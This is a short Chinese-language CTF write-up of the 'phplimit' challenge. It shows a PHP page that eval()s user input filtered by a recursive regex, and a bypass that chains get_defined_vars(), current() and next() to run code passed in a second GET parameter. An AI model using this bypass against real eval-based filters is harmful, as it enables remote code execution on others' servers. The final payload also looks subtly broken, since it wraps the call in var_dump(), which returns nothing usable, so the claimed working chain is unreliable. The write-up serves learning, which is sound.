php正则表达式中(?R)表示递归此正则式
今天继续在P神举办的codebreaking比赛中学习trick,这道题的名字是phplimit。
index.php:
<?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
分析一下这个正则表达式:\w匹配大小写字母、数字和下划线,\W与\w正好相反,它匹配非大小写字母、数字和下划线。而[^\W]则是否定的否定,即和\w一样。\(和\)匹配(),括号中间的(?R)表示递归匹配此正则表达式,(?R)?,后面跟了一个问号,表示前面的子表达式出现0次或1次,即可以出现1次或不出现。如aaa(bbb()),或aaa()。
看了以下大佬的思路,是用php的一个函数:get_defined_vars(),这个东西返回二维数组,是全局变量,包括$_GET $_POST $_COOKIE $FILE
传参?code=var_dump(get_defined_vars());&aaa=phpinfo()
传参aaa是为了让aaa的值phpinfo()出现在全局变量$_GET中。
然后屏幕会打印出来二维数组,然后再?code=eval(next(current(var_dump(get_defined_vars()))));&aaa=phpinfo();(这里注意phpinfo()后面一定要记得加分号,不然会报错:eval()'d code(1) : eval()'d code on line 1)
我试过了,必须加eval(),否则出不来phpinfo(),仔细想想也很简单,最终要eval($_GET['code']),code就得取到phpinfo();,eval相当是执行next、current这两个函数,是个动词。
‘